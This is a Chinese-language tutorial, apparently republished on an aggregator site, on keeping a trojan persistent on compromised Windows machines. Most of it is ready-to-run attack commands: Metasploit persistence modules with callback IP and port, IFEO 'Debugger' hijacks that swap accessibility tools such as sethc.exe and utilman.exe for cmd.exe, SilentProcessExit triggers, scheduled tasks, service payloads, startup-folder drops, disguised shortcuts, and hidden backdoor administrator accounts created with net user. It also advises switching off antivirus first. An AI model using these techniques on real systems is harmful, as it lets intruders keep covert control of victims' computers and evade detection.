权限维持(什么是后门?如何留后门?) | 您所在的位置:网站首页 › 权限禁用提醒是什么意思 › 权限维持(什么是后门?如何留后门?) |
文章目录
注册表自启类添加方法说明
msf使用注册表维持手动触发类使用方法常用劫持软件其他触发方法其他劫持方法
Msf自动劫持
计划任务(schtasks)命令行使用计划任务
Windows服务msf添加服务
启动目录其他思路快捷方式添加用户
msf其他技巧
权限维持的核心目的是让我们的木马病毒持续在线,不会因为系统重启,用户注销或者其他特殊原因下线。在Windows系统中我们可以利用注册表,计划任务,或者留下一个我们自己创建的账户来实现的重启后攻击载荷自动上线的目的。
注册表
启动方式: Windows键+R: regeditWindows键+S: 注册表下述五个注册表根文件从Windows最初的注册表一直继承到Windows11从未改变,我们一般只会用到其中两个配置文件。 HKEY_LOCAL_MACHINE:所有用户的配置文件HKEY_CURRENT_USER:当前登录用户的配置文件HKEY_USERS:包含所有加载的用户配置文件HKEY_CLASSES_ROOT:包含所有已注册的文件类型、OLE等信息HKEY_CURRENT_CONFIG:启动时系统硬件配置文件![]() ![]() ![]() PS: msf这个模块不需要管理员权限即可运行! 早期msf版本中,我们进入目标meterpreter中,输入run persistence即可,不过在新版msf中,已经不推荐此类方法,并且随时准备弃用此方法 这时候目标主机的注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xunmi中就会被我们添加一个自启项。 PS:如果重启无法维持权限,可以尝试更换存放目录,当前默认目录为%TEMP%: C:\Users\用户名\AppData\Local\Temp。如果我们有system权限,可以尝试放入C:\\Windows\\System32文件夹中 set vbs_name xun_mi.vbs set PATH C:\\Windows\\System32 run`` 开机自启属于自动触发,但也容易被用户发现和察觉,并且我们可能并非需要后门一直运行。这时候就需要用到系统辅助工具,比如说屏幕键盘,放大镜,屏幕阅读器这类IFEO(Image File Execution Options)的应用,其中有部分存在于Windows白名单中,可以直接使用最高权限运行。我们主要是通过debugger参数进行偷梁换柱。 使用方法这里我使用Excel表格进行原理演示 打开注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options路径在目标程序中添加已Debugger命名的字符串值,值就是我们需要劫持启动的程序!PS: 这里必须已Debugger命名,非此命名无法使用!!!![]() PS: 杀毒软件会自动拦截这类修改!使用此方法前务必保证已关闭杀毒软件! 辅助工具管理器(utilman.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f讲述人(narrator.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f(Windows11将讲述人改为了开关按钮,算是已经失效了!)放大镜(magnify.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f屏幕键盘(osk.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f粘滞键(sethc.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f下图演示为劫持辅助工具管理器 除了上述启动劫持的触发方法外,我们还可以使用关闭触发,指定监控某个进程,在其关闭时候触发使用,这里我还是拿粘滞键做演示 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 在进程退出时静默触发(SilentProcessExit): reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe" 覆盖原文件执行劫持.下面我会用粘滞键来演示! PS:这种方法不建议使用,因为其中有一些不可逆的步骤!这里记得将要覆盖的文件做一个副本备份一下,以免出现问题! 如果你想直接改个名字就进行覆盖,则会出现如下所示问题,就算你是管理员也无法直接移动,因为这个文件夹默认情况下只有TrustInstall用户拥有所有权限 PS: 这里同样支持多种劫持,默认的粘滞键劫持,不过这种方法需要我们使用管理员权限的用户才能正常执行!!不过MSF的劫持也容易被杀软拦截。 计划任务在命令行中输入schtasks或者使用Windows键+S搜索任务计划程序即可 命令行使用计划任务schtasks命令详解: https://lanlan2017.github.io/blog/b1b65659/ 这里我会介绍一些比较常用的命令,如果有其他需求,可以根据查看详细命令文档! 首先,添加(/create)和删除(/delete)使我们最常用的命令,其中删除命令较为简单,格式为: schtasks /delete /tn 计划任务名 而添加命令相对复杂的多,比如这里我创建一个定时任务(schtasks /create)每间隔一(/mo 1)分钟(/sc MINUTE)启动一下1.exe程序(/tr C:\Users\xun_m\Desktop\网安测试\1.exe)并且命名为测试(/tn 测试),schtasks /create /sc MINUTE /mo 1 /tr C:\Users\xun_m\Desktop\网安测试\1.exe /tn 测试 其中/sc的类型比较多,分为: /sc: MINUTE(分钟)HOURLY(小时)DAILY(每日)WEEKLY(每周)MONTHLY(每月)ONCE(一次)ONSTART(启动)ONLOGON(登录)ONIDLE(结束)ONEVENT(暂不知道什么用。) 这里我们可以使用ONLOGON参数来达到开机自启的效果schtasks /create /sc ONLOGON /tr C:\Users\xun_m\Desktop\网安测试\开机自启信息监测.exe /tn 自动启动测试 ONLOGON是在登录用户后触发,ONSTART是在系统启动时触发但因为只有拥有system权限的程序才能在用户注销时正常使用,所以如果我们使用了ONSTART来实现开机自启,很可能会碰到无法正常启动的情况!
同样在msf6之后推荐使用一下模块,老版本的run metsvc -h随时都可能被弃用,并且不再维护,建议使用下述方法。 use exploit/windows/local/persistence 或 use exploit/multi/handler set payload windows/metsvc_bind_tcp这里和之前添加注册表自启的程序是比较相似的,也是需要我们设置sessions,不过西安么我们可以选择一个启动类型(STARTUP)可以直接以最高权限(system)启动攻击载荷 Windows系统下存在特殊的启动目录,重启时会自动执行其中所有程序。 针对指定用户: C:\Users\{用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 针对所有用户: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 放在其中的应用并不会现在启动项中(下图中的浏览器是我修改了图标的cmd快捷方式) 除了上述外,还有一些方法,虽然不能实现自动化的开机自启,但也可以作为权限维持的方法! 快捷方式我们可以修改快捷方式的形式来引诱目标启动我们的木马程序,我们知道快捷方式(.lnk)格式是已一种链接的方式启动目标软件,这里我们只需要将命名和图标伪装成用户常用软件即可,系统应用大多数图标都在%SystemRoot%\System32\SHELL32.dll中,如果需要其他图标也可以自行添加 首先为了降低被用户发现的可能,我们尽量都适用一些特殊的方法来添加新用户 添加隐藏用户 用户名结尾处带$字符的用户会被系统自动当成隐藏账户,这种账户在登录时候不会显示,不过可以在账户管理的时候看见 可以使用命令行添加比如: net user 账户名$ 密码 /add && net localgroup administrators 账户名$ /add 隐藏用户主要是隐藏了命令行(net user)中查询看见的! 激活访客(Guest)用户 net user guest 密码 && net localgroup administrators guest /add && net user guest /active:yes(给访客用户添加密码,并将其添加进入管理员组,将访客改为活跃用户!) PS: 不过因为上述方法在较新的Windows中都已经失效了(Windows10,11屏蔽了访客用户,激活后还是无法使用,并且隐藏用户还是会和常规用户一样显示出来) 添加后门账户 先添加一个隐藏用户net user defaultuser0$ pass /add /y && net localgroup administrators defaultuser0$ /add替换隐藏用户的注册表,不过我们先要将SAM(HKEY_LOCAL_MACHINE\SAM\SAM)文件夹中的完全控制权限给管理员用户组(Administrator)然后重新打开注册表编辑器![]() ![]() ![]() ![]() ![]() PS: 使用net localgroup "remote desktop users" 用户名 /add可以将其添加进入到远程桌面用户组中。(一般管理员组的用户默认都能进行远程连接) msf其他技巧这里我们可以使用msf的handle模块自动执行权限维持模块 exploit/multi/handler # 自动执行持续化脚本(注册表) set AutoRunScript persistence -r IP地址 -p 端口 -U -X -i 30 # 自动执行持续化脚本(服务) set AutoRunScript metsvc -A # 启动 run |
CopyRight 2018-2019 实验室设备网 版权所有 |